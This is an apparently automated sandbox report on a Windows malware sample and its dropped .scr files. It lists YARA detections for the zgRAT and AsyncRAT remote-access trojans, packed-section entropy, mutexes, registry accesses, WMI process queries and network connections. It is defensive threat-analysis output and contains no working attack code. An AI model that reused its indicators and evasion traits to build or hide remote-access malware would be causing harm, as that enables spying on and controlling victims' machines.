                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
                    Source: unknownHTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49745 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.7:49756 version: TLS 1.2

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: Process Memory Space: qqq.scr PID: 3452, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: Process Memory Space: winnotify.scr PID: 5920, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: Process Memory Space: winnotify.scr PID: 7980, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
                    PE file has nameless sections
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess Stats: CPU usage > 49%
                    Source: C:\Users\gbcd\qqq.scrProcess Stats: CPU usage > 49%
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F83210_2_001F8321
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_002014560_2_00201456
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F07380_2_001F0738
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_0035596C0_2_0035596C
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E22200_2_045E2220
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045EB3920_2_045EB392
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E29780_2_045E2978
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045EB9B80_2_045EB9B8
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045EAA900_2_045EAA90
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E64080_2_045E6408
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E54990_2_045E5499
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E54A80_2_045E54A8
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045EB5B50_2_045EB5B5
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E215E0_2_045E215E
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E63C80_2_045E63C8
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E7E700_2_045E7E70
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E7E610_2_045E7E61
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E69900_2_045E6990
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045E69820_2_045E6982
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_045EAA2A0_2_045EAA2A
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04C4B4908_2_04C4B490
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_088E3E988_2_088E3E98
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F3ADB023_2_04F3ADB0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F31E0023_2_04F31E00
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F3992E23_2_04F3992E
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F324F023_2_04F324F0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F324E023_2_04F324E0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F3473923_2_04F34739
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F31DD723_2_04F31DD7
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32E6223_2_04F32E62
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F349ED23_2_04F349ED
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F3498C23_2_04F3498C
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32ADF23_2_04F32ADF
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32AC523_2_04F32AC5
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32A9923_2_04F32A99
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32A8423_2_04F32A84
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F3EA0823_2_04F3EA08
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32B5C23_2_04F32B5C
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32B4323_2_04F32B43
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_04F32B1C23_2_04F32B1C
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_072504DE23_2_072504DE
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_072510D823_2_072510D8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_072505A823_2_072505A8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075BA64023_2_075BA640
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B438823_2_075B4388
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B72F023_2_075B72F0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075BAB2123_2_075BAB21
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B3AB823_2_075B3AB8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B98E023_2_075B98E0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B377023_2_075B3770
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B72E023_2_075B72E0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075BACB523_2_075BACB5
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075B98D023_2_075B98D0
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075BD8B823_2_075BD8B8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_075BD8A723_2_075BD8A7
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B1B6023_2_078B1B60
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B874223_2_078B8742
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B918823_2_078B9188
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B000623_2_078B0006
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B004023_2_078B0040
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B5F5D23_2_078B5F5D
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078BDC5823_2_078BDC58
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B8B1923_2_078B8B19
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_078B894023_2_078B8940
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0060303024_2_00603030
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005AE9EC24_2_005AE9EC
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0060BA7024_2_0060BA70
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005F926C24_2_005F926C
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00605AB424_2_00605AB4
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00605BA024_2_00605BA0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005F7C8424_2_005F7C84
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005AECB824_2_005AECB8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005ECCB824_2_005ECCB8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005F75C824_2_005F75C8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005AEE4824_2_005AEE48
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00605E5424_2_00605E54
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_006036FC24_2_006036FC
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00609E8024_2_00609E80
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00601E9424_2_00601E94
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005FFF7424_2_005FFF74
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00601E9424_2_00601E94
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_00602FEC24_2_00602FEC
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_005EC79024_2_005EC790
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9B57024_2_04F9B570
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F97D6024_2_04F97D60
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9263824_2_04F92638
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9AE2824_2_04F9AE28
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9D60024_2_04F9D600
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9E73824_2_04F9E738
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9B8B824_2_04F9B8B8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9798024_2_04F97980
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9E26824_2_04F9E268
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F96CB024_2_04F96CB0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91CB724_2_04F91CB7
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F96CA024_2_04F96CA0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9348024_2_04F93480
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9247C24_2_04F9247C
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9347124_2_04F93471
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91C4824_2_04F91C48
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91C1E24_2_04F91C1E
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9240F24_2_04F9240F
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F97D8824_2_04F97D88
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9B58424_2_04F9B584
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91D7524_2_04F91D75
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F96EF824_2_04F96EF8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91EFD24_2_04F91EFD
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F96EE824_2_04F96EE8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91EC324_2_04F91EC3
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91E9924_2_04F91E99
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9AE1A24_2_04F9AE1A
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91FE724_2_04F91FE7
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91F9824_2_04F91F98
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F920C724_2_04F920C7
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9B8A824_2_04F9B8A8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9509824_2_04F95098
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9202324_2_04F92023
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F921F524_2_04F921F5
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9797124_2_04F97971
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9215024_2_04F92150
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91AFC24_2_04F91AFC
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F922F324_2_04F922F3
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F922C124_2_04F922C1
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91AC224_2_04F91AC2
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91A8C24_2_04F91A8C
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F95A6824_2_04F95A68
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91A5824_2_04F91A58
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F95A5824_2_04F95A58
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9221F24_2_04F9221F
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9720824_2_04F97208
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91BF424_2_04F91BF4
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F9239F24_2_04F9239F
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_04F91B4824_2_04F91B48
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF2AD024_2_07CF2AD0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF3F5924_2_07CF3F59
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF3E9624_2_07CF3E96
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF566224_2_07CF5662
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF3CD724_2_07CF3CD7
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF3CA624_2_07CF3CA6
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF409F24_2_07CF409F
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF30A624_2_07CF30A6
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_07CF406A24_2_07CF406A
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A8B5024_2_0A7A8B50
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A33D424_2_0A7A33D4
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A902824_2_0A7A9028
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AB8F024_2_0A7AB8F0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A30AF24_2_0A7A30AF
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AE67824_2_0A7AE678
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A865024_2_0A7A8650
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AC6C124_2_0A7AC6C1
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A94C824_2_0A7A94C8
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A3CB024_2_0A7A3CB0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A15B024_2_0A7A15B0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A7D8024_2_0A7A7D80
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A325A24_2_0A7A325A
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A7A3824_2_0A7A7A38
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A3AC024_2_0A7A3AC0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A8B4224_2_0A7A8B42
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A331324_2_0A7A3313
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A902224_2_0A7A9022
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AB8E024_2_0A7AB8E0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AB8F024_2_0A7AB8F0
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AB93524_2_0A7AB935
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A31A124_2_0A7A31A1
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7ABC4124_2_0A7ABC41
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7ABC3824_2_0A7ABC38
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A94BA24_2_0A7A94BA
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A357924_2_0A7A3579
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A8D7624_2_0A7A8D76
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7ABD4824_2_0A7ABD48
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7AADDA24_2_0A7AADDA
                    Source: C:\Users\gbcd\qqq.scrCode function: 24_2_0A7A8D8024_2_0A7A8D80
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: String function: 001EC264 appears 59 times
                    Source: C:\Users\gbcd\fff.scrCode function: String function: 00AAC264 appears 52 times
                    Source: ZOL2mIYAUH.exeBinary or memory string: OriginalFilename vs ZOL2mIYAUH.exe
                    Source: ZOL2mIYAUH.exe, 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamesrtware.exe< vs ZOL2mIYAUH.exe
                    Source: ZOL2mIYAUH.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                    Source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: Process Memory Space: qqq.scr PID: 3452, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: Process Memory Space: winnotify.scr PID: 5920, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: Process Memory Space: winnotify.scr PID: 7980, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: ZOL2mIYAUH.exeStatic PE information: Section: ZLIB complexity 0.9971657659774437
                    Source: ZOL2mIYAUH.exeStatic PE information: Section: .d5scxa2 ZLIB complexity 0.9965811927590155
                    Source: fff.scr.14.drStatic PE information: Section: ZLIB complexity 0.998485779494382
                    Source: fff.scr.14.drStatic PE information: Section: .d5dcvew ZLIB complexity 0.9970135226624858
                    Source: qqq.scr.16.drStatic PE information: Section: ZLIB complexity 1.000197893722467
                    Source: qqq.scr.16.drStatic PE information: Section: .stovfcw ZLIB complexity 0.9967510944618451
                    Source: winnotify.scr.24.drStatic PE information: Section: ZLIB complexity 1.000197893722467
                    Source: winnotify.scr.24.drStatic PE information: Section: .stovfcw ZLIB complexity 0.9967510944618451
                    Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@41/30@2/4
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_0035596C GetDiskFreeSpaceExA,0_2_0035596C
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_0046E048 CreateToolhelp32Snapshot,0_2_0046E048
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\gbcdJump to behavior
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
                    Source: C:\Users\Public\winnotify.scrMutant created: NULL
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5260:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2040:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
                    Source: C:\Users\gbcd\fff.scrMutant created: \Sessions\1\BaseNamedObjects\Ijicybumyrotapoverolelisajesobu
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
                    Source: C:\Users\gbcd\qqq.scrMutant created: \Sessions\1\BaseNamedObjects\fCdCfA9ZYKACsoTU
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2092:120:WilError_03
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zq1k4b3s.dwa.ps1Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\fff.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\fff.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\fff.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\qqq.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\qqq.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\gbcd\qqq.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\Public\winnotify.scrKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 860
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2584
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3012
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6028
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6024
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5592
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1280
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2572
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3432
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 412
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4288
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5148
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4716
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3852
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 400
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6432
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5568
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4852
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5996
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6852
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6104
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5124
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 812
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3828
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3396
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1668
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5128
